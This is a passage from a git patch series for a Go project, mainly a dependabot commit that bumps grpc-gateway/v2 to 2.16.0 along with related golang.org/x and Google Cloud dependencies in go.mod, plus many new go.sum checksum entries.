DefaultEmbeddedValues = true -const DefaultPreallocFiles = true +const DefaultPreallocFiles = false const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 From 3c01936e27677707576071d2a65b157c55deec8b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 6 Jun 2023 19:01:10 +0000 Subject: [PATCH 0615/1062] chore(deps): bump github.com/grpc-ecosystem/grpc-gateway/v2 Bumps [github.com/grpc-ecosystem/grpc-gateway/v2](https://github.com/grpc-ecosystem/grpc-gateway) from 2.15.2 to 2.16.0. - [Release notes](https://github.com/grpc-ecosystem/grpc-gateway/releases) - [Changelog](https://github.com/grpc-ecosystem/grpc-gateway/blob/main/.goreleaser.yml) - [Commits](https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.15.2...v2.16.0) --- updated-dependencies: - dependency-name: github.com/grpc-ecosystem/grpc-gateway/v2 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 22 ++-- go.sum | 404 ++++++++++++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 400 insertions(+), 26 deletions(-) diff --git a/go.mod b/go.mod index 16b06b0965..baa60ca683 100644 --- a/go.mod +++ b/go.mod @@ -11,7 +11,7 @@ require ( github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 - github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2 + github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 github.com/influxdata/influxdb-client-go/v2 v2.12.3 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 @@ -35,11 +35,11 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.7.0 - golang.org/x/net v0.9.0 - golang.org/x/sys v0.7.0 + golang.org/x/net v0.10.0 + golang.org/x/sys v0.8.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated - google.golang.org/genproto v0.0.0-20230223222841-637eb2293923 - google.golang.org/grpc v1.54.0 + google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc + google.golang.org/grpc v1.55.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.30.0 ) @@ -57,10 +57,10 @@ require ( github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect - github.com/envoyproxy/protoc-gen-validate v0.9.1 // indirect + github.com/envoyproxy/protoc-gen-validate v0.10.0 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect - github.com/golang/glog v1.0.0 // indirect + github.com/golang/glog v1.1.0 // indirect github.com/google/uuid v1.3.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect @@ -99,10 +99,12 @@ require ( github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect - golang.org/x/mod v0.8.0 // indirect - golang.org/x/term v0.7.0 // indirect + golang.org/x/mod v0.9.0 // indirect + golang.org/x/term v0.8.0 // indirect golang.org/x/text v0.9.0 // indirect - golang.org/x/tools v0.6.0 // indirect + golang.org/x/tools v0.7.0 // indirect + google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index 305ac37d21..a9d59f9835 100644 --- a/go.sum +++ b/go.sum @@ -33,49 +33,83 @@ cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34h cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= +cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= +cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= +cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= +cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= +cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= +cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= +cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= +cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= +cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= +cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= +cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= +cloud.google.com/go/apigeeconnect v1.5.0/go.mod h1:KFaCqvBRU6idyhSNyn3vlHXc8VMDJdRmwDF6JyFRqZ8= cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= +cloud.google.com/go/apigeeregistry v0.5.0/go.mod h1:YR5+s0BVNZfVOUkMa5pAR2xGd0A473vA5M7j247o1wM= +cloud.google.com/go/apigeeregistry v0.6.0/go.mod h1:BFNzW7yQVLZ3yj0TKcwzb8n25CFBri51GVGOEUcgQsc= cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= +cloud.google.com/go/apikeys v0.5.0/go.mod h1:5aQfwY4D+ewMMWScd3hm2en3hCj+BROlyrt3ytS7KLI= +cloud.google.com/go/apikeys v0.6.0/go.mod h1:kbpXu5upyiAlGkKrJgQl8A0rKNNJ7dQ377pdroRSSi8= cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= +cloud.google.com/go/appengine v1.6.0/go.mod h1:hg6i0J/BD2cKmDJbaFSYHFyZkgBEfQrDg/X0V5fJn84= +cloud.google.com/go/appengine v1.7.0/go.mod h1:eZqpbHFCqRGa2aCdope7eC0SWLV1j0neb/QnMJVWx6A= +cloud.google.com/go/appengine v1.7.1/go.mod h1:IHLToyb/3fKutRysUlFO0BPt5j7RiQ45nrzEJmKTo6E= cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= +cloud.google.com/go/area120 v0.7.0/go.mod h1:a3+8EUD1SX5RUcCs3MY5YasiO1z6yLiNLRiFrykbynY= +cloud.google.com/go/area120 v0.7.1/go.mod h1:j84i4E1RboTWjKtZVWXPqvK5VHQFJRF2c1Nm69pWm9k= cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= +cloud.google.com/go/artifactregistry v1.11.1/go.mod h1:lLYghw+Itq9SONbCa1YWBoWs1nOucMH0pwXN1rOBZFI= +cloud.google.com/go/artifactregistry v1.11.2/go.mod h1:nLZns771ZGAwVLzTX/7Al6R9ehma4WUEhZGWV6CeQNQ= +cloud.google.com/go/artifactregistry v1.12.0/go.mod h1:o6P3MIvtzTOnmvGagO9v/rOjjA0HmhJ+/6KAXrmYDCI= +cloud.google.com/go/artifactregistry v1.13.0/go.mod h1:uy/LNfoOIivepGhooAUpL1i30Hgee3Cu0l4VTWHUC08= cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= +cloud.google.com/go/asset v1.11.1/go.mod h1:fSwLhbRvC9p9CXQHJ3BgFeQNM4c9x10lqlrdEUYXlJo= +cloud.google.com/go/asset v1.12.0/go.mod h1:h9/sFOa4eDIyKmH6QMpm4eUK3pDojWnUhTgJlk762Hg= +cloud.google.com/go/asset v1.13.0/go.mod h1:WQAMyYek/b7NBpYq/K4KJWcRqzoalEsxz/t/dTk4THw= cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= +cloud.google.com/go/assuredworkloads v1.10.0/go.mod h1:kwdUQuXcedVdsIaKgKTp9t0UJkE5+PAVNhdQm4ZVq2E= cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= +cloud.google.com/go/automl v1.12.0/go.mod h1:tWDcHDp86aMIuHmyvjuKeeHEGq76lD7ZqfGLN6B0NuU= cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= +cloud.google.com/go/baremetalsolution v0.5.0/go.mod h1:dXGxEkmR9BMwxhzBhV0AioD0ULBmuLZI8CdwalUxuss= cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= +cloud.google.com/go/batch v0.7.0/go.mod h1:vLZN95s6teRUqRQ4s3RLDsH8PvboqBK+rn1oevL159g= cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= +cloud.google.com/go/beyondcorp v0.4.0/go.mod h1:3ApA0mbhHx6YImmuubf5pyW8srKnCEPON32/5hj+RmM= +cloud.google.com/go/beyondcorp v0.5.0/go.mod h1:uFqj9X+dSfrheVp7ssLTaRHd2EHqSL4QZmH4e8WXGGU= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= @@ -85,26 +119,42 @@ cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM7 cloud.google.com/go/bigquery v1.42.0/go.mod h1:8dRTJxhtG+vwBKzE5OseQn/hiydoQN3EedCaOdYmxRA= cloud.google.com/go/bigquery v1.43.0/go.mod h1:ZMQcXHsl+xmU1z36G2jNGZmKp9zNY5BUua5wDgmNCfw= cloud.google.com/go/bigquery v1.44.0/go.mod h1:0Y33VqXTEsbamHJvJHdFmtqHvMIY28aK1+dFsvaChGc= +cloud.google.com/go/bigquery v1.47.0/go.mod h1:sA9XOgy0A8vQK9+MWhEQTY6Tix87M/ZurWFIxmF9I/E= +cloud.google.com/go/bigquery v1.48.0/go.mod h1:QAwSz+ipNgfL5jxiaK7weyOhzdoAy1zFm0Nf1fysJac= +cloud.google.com/go/bigquery v1.49.0/go.mod h1:Sv8hMmTFFYBlt/ftw2uN6dFdQPzBlREY9yBh7Oy7/4Q= +cloud.google.com/go/bigquery v1.50.0/go.mod h1:YrleYEh2pSEbgTBZYMJ5SuSr0ML3ypjRB1zgf7pvQLU= cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= +cloud.google.com/go/billing v1.12.0/go.mod h1:yKrZio/eu+okO/2McZEbch17O5CB5NpZhhXG6Z766ss= +cloud.google.com/go/billing v1.13.0/go.mod h1:7kB2W9Xf98hP9Sr12KfECgfGclsH3CQR0R08tnRlRbc= cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= +cloud.google.com/go/binaryauthorization v1.5.0/go.mod h1:OSe4OU1nN/VswXKRBmciKpo9LulY41gch5c68htf3/Q= cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= +cloud.google.com/go/certificatemanager v1.6.0/go.mod h1:3Hh64rCKjRAX8dXgRAyOcY5vQ/fE1sh8o+Mdd6KPgY8= cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= +cloud.google.com/go/channel v1.11.0/go.mod h1:IdtI0uWGqhEeatSB62VOoJ8FSUhJ9/+iGkJVqp74CGE= +cloud.google.com/go/channel v1.12.0/go.mod h1:VkxCGKASi4Cq7TbXxlaBezonAYpp1GCnKMY6tnMQnLU= cloud.google.com/go/cloudbuild v1.3.0/go.mod h1:WequR4ULxlqvMsjDEEEFnOG5ZSRSgWOywXYDb1vPE6U= cloud.google.com/go/cloudbuild v1.4.0/go.mod h1:5Qwa40LHiOXmz3386FrjrYM93rM/hdRr7b53sySrTqA= +cloud.google.com/go/cloudbuild v1.6.0/go.mod h1:UIbc/w9QCbH12xX+ezUsgblrWv+Cv4Tw83GiSMHOn9M= +cloud.google.com/go/cloudbuild v1.7.0/go.mod h1:zb5tWh2XI6lR9zQmsm1VRA+7OCuve5d8S+zJUul8KTg= +cloud.google.com/go/cloudbuild v1.9.0/go.mod h1:qK1d7s4QlO0VwfYn5YuClDGg2hfmLZEb4wQGAbIgL1s= cloud.google.com/go/clouddms v1.3.0/go.mod h1:oK6XsCDdW4Ib3jCCBugx+gVjevp2TMXFtgxvPSee3OM= cloud.google.com/go/clouddms v1.4.0/go.mod h1:Eh7sUGCC+aKry14O1NRljhjyrr0NFC0G2cjwX0cByRk= +cloud.google.com/go/clouddms v1.5.0/go.mod h1:QSxQnhikCLUw13iAbffF2CZxAER3xDGNHjsTAkQJcQA= cloud.google.com/go/cloudtasks v1.5.0/go.mod h1:fD92REy1x5woxkKEkLdvavGnPJGEn8Uic9nWuLzqCpY= cloud.google.com/go/cloudtasks v1.6.0/go.mod h1:C6Io+sxuke9/KNRkbQpihnW93SWDU3uXt92nu85HkYI= cloud.google.com/go/cloudtasks v1.7.0/go.mod h1:ImsfdYWwlWNJbdgPIIGJWC+gemEGTBK/SunNQQNCAb4= cloud.google.com/go/cloudtasks v1.8.0/go.mod h1:gQXUIwCSOI4yPVK7DgTVFiiP0ZW/eQkydWzwVMdHxrI= +cloud.google.com/go/cloudtasks v1.9.0/go.mod h1:w+EyLsVkLWHcOaqNEyvcKAsWp9p29dL6uL9Nst1cI7Y= +cloud.google.com/go/cloudtasks v1.10.0/go.mod h1:NDSoTLkZ3+vExFEWu2UJV1arUyzVDAiZtdWcsUyNwBs= cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= @@ -118,88 +168,135 @@ cloud.google.com/go/compute v1.13.0/go.mod h1:5aPTS0cUNMIc1CE546K+Th6weJUNQErARy cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvjxega5vAdo= cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63rR+SXhcpA= cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= +cloud.google.com/go/compute v1.19.0/go.mod h1:rikpw2y+UMidAe9tISo04EHNOIf42RLYF/q8Bs93scU= cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= cloud.google.com/go/contactcenterinsights v1.3.0/go.mod h1:Eu2oemoePuEFc/xKFPjbTuPSj0fYJcPls9TFlPNnHHY= cloud.google.com/go/contactcenterinsights v1.4.0/go.mod h1:L2YzkGbPsv+vMQMCADxJoT9YiTTnSEd6fEvCeHTYVck= +cloud.google.com/go/contactcenterinsights v1.6.0/go.mod h1:IIDlT6CLcDoyv79kDv8iWxMSTZhLxSCofVV5W6YFM/w= cloud.google.com/go/container v1.6.0/go.mod h1:Xazp7GjJSeUYo688S+6J5V+n/t+G5sKBTFkKNudGRxg= cloud.google.com/go/container v1.7.0/go.mod h1:Dp5AHtmothHGX3DwwIHPgq45Y8KmNsgN3amoYfxVkLo= +cloud.google.com/go/container v1.13.1/go.mod h1:6wgbMPeQRw9rSnKBCAJXnds3Pzj03C4JHamr8asWKy4= +cloud.google.com/go/container v1.14.0/go.mod h1:3AoJMPhHfLDxLvrlVWaK57IXzaPnLaZq63WX59aQBfM= +cloud.google.com/go/container v1.15.0/go.mod h1:ft+9S0WGjAyjDggg5S06DXj+fHJICWg8L7isCQe9pQA= cloud.google.com/go/containeranalysis v0.5.1/go.mod h1:1D92jd8gRR/c0fGMlymRgxWD3Qw9C1ff6/T7mLgVL8I= cloud.google.com/go/containeranalysis v0.6.0/go.mod h1:HEJoiEIu+lEXM+k7+qLCci0h33lX3ZqoYFdmPcoO7s4= +cloud.google.com/go/containeranalysis v0.7.0/go.mod h1:9aUL+/vZ55P2CXfuZjS4UjQ9AgXoSw8Ts6lemfmxBxI= +cloud.google.com/go/containeranalysis v0.9.0/go.mod h1:orbOANbwk5Ejoom+s+DUCTTJ7IBdBQJDcSylAx/on9s= cloud.google.com/go/datacatalog v1.3.0/go.mod h1:g9svFY6tuR+j+hrTw3J2dNcmI0dzmSiyOzm8kpLq0a0= cloud.google.com/go/datacatalog v1.5.0/go.mod h1:M7GPLNQeLfWqeIm3iuiruhPzkt65+Bx8dAKvScX8jvs= cloud.google.com/go/datacatalog v1.6.0/go.mod h1:+aEyF8JKg+uXcIdAmmaMUmZ3q1b/lKLtXCmXdnc0lbc= cloud.google.com/go/datacatalog v1.7.0/go.mod h1:9mEl4AuDYWw81UGc41HonIHH7/sn52H0/tc8f8ZbZIE= cloud.google.com/go/datacatalog v1.8.0/go.mod h1:KYuoVOv9BM8EYz/4eMFxrr4DUKhGIOXxZoKYF5wdISM= +cloud.google.com/go/datacatalog v1.8.1/go.mod h1:RJ58z4rMp3gvETA465Vg+ag8BGgBdnRPEMMSTr5Uv+M= +cloud.google.com/go/datacatalog v1.12.0/go.mod h1:CWae8rFkfp6LzLumKOnmVh4+Zle4A3NXLzVJ1d1mRm0= +cloud.google.com/go/datacatalog v1.13.0/go.mod h1:E4Rj9a5ZtAxcQJlEBTLgMTphfP11/lNaAshpoBgemX8= cloud.google.com/go/dataflow v0.6.0/go.mod h1:9QwV89cGoxjjSR9/r7eFDqqjtvbKxAK2BaYU6PVk9UM= cloud.google.com/go/dataflow v0.7.0/go.mod h1:PX526vb4ijFMesO1o202EaUmouZKBpjHsTlCtB4parQ= +cloud.google.com/go/dataflow v0.8.0/go.mod h1:Rcf5YgTKPtQyYz8bLYhFoIV/vP39eL7fWNcSOyFfLJE= cloud.google.com/go/dataform v0.3.0/go.mod h1:cj8uNliRlHpa6L3yVhDOBrUXH+BPAO1+KFMQQNSThKo= cloud.google.com/go/dataform v0.4.0/go.mod h1:fwV6Y4Ty2yIFL89huYlEkwUPtS7YZinZbzzj5S9FzCE= cloud.google.com/go/dataform v0.5.0/go.mod h1:GFUYRe8IBa2hcomWplodVmUx/iTL0FrsauObOM3Ipr0= +cloud.google.com/go/dataform v0.6.0/go.mod h1:QPflImQy33e29VuapFdf19oPbE4aYTJxr31OAPV+ulA= +cloud.google.com/go/dataform v0.7.0/go.mod h1:7NulqnVozfHvWUBpMDfKMUESr+85aJsC/2O0o3jWPDE= cloud.google.com/go/datafusion v1.4.0/go.mod h1:1Zb6VN+W6ALo85cXnM1IKiPw+yQMKMhB9TsTSRDo/38= cloud.google.com/go/datafusion v1.5.0/go.mod h1:Kz+l1FGHB0J+4XF2fud96WMmRiq/wj8N9u007vyXZ2w= +cloud.google.com/go/datafusion v1.6.0/go.mod h1:WBsMF8F1RhSXvVM8rCV3AeyWVxcC2xY6vith3iw3S+8= cloud.google.com/go/datalabeling v0.5.0/go.mod h1:TGcJ0G2NzcsXSE/97yWjIZO0bXj0KbVlINXMG9ud42I= cloud.google.com/go/datalabeling v0.6.0/go.mod h1:WqdISuk/+WIGeMkpw/1q7bK/tFEZxsrFJOJdY2bXvTQ= +cloud.google.com/go/datalabeling v0.7.0/go.mod h1:WPQb1y08RJbmpM3ww0CSUAGweL0SxByuW2E+FU+wXcM= cloud.google.com/go/dataplex v1.3.0/go.mod h1:hQuRtDg+fCiFgC8j0zV222HvzFQdRd+SVX8gdmFcZzA= cloud.google.com/go/dataplex v1.4.0/go.mod h1:X51GfLXEMVJ6UN47ESVqvlsRplbLhcsAt0kZCCKsU0A= +cloud.google.com/go/dataplex v1.5.2/go.mod h1:cVMgQHsmfRoI5KFYq4JtIBEUbYwc3c7tXmIDhRmNNVQ= +cloud.google.com/go/dataplex v1.6.0/go.mod h1:bMsomC/aEJOSpHXdFKFGQ1b0TDPIeL28nJObeO1ppRs= cloud.google.com/go/dataproc v1.7.0/go.mod h1:CKAlMjII9H90RXaMpSxQ8EU6dQx6iAYNPcYPOkSbi8s= cloud.google.com/go/dataproc v1.8.0/go.mod h1:5OW+zNAH0pMpw14JVrPONsxMQYMBqJuzORhIBfBn9uI= +cloud.google.com/go/dataproc v1.12.0/go.mod h1:zrF3aX0uV3ikkMz6z4uBbIKyhRITnxvr4i3IjKsKrw4= cloud.google.com/go/dataqna v0.5.0/go.mod h1:90Hyk596ft3zUQ8NkFfvICSIfHFh1Bc7C4cK3vbhkeo= cloud.google.com/go/dataqna v0.6.0/go.mod h1:1lqNpM7rqNLVgWBJyk5NF6Uen2PHym0jtVJonplVsDA= +cloud.google.com/go/dataqna v0.7.0/go.mod h1:Lx9OcIIeqCrw1a6KdO3/5KMP1wAmTc0slZWwP12Qq3c= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/datastore v1.10.0/go.mod h1:PC5UzAmDEkAmkfaknstTYbNpgE49HAgW2J1gcgUfmdM= +cloud.google.com/go/datastore v1.11.0/go.mod h1:TvGxBIHCS50u8jzG+AW/ppf87v1of8nwzFNgEZU1D3c= 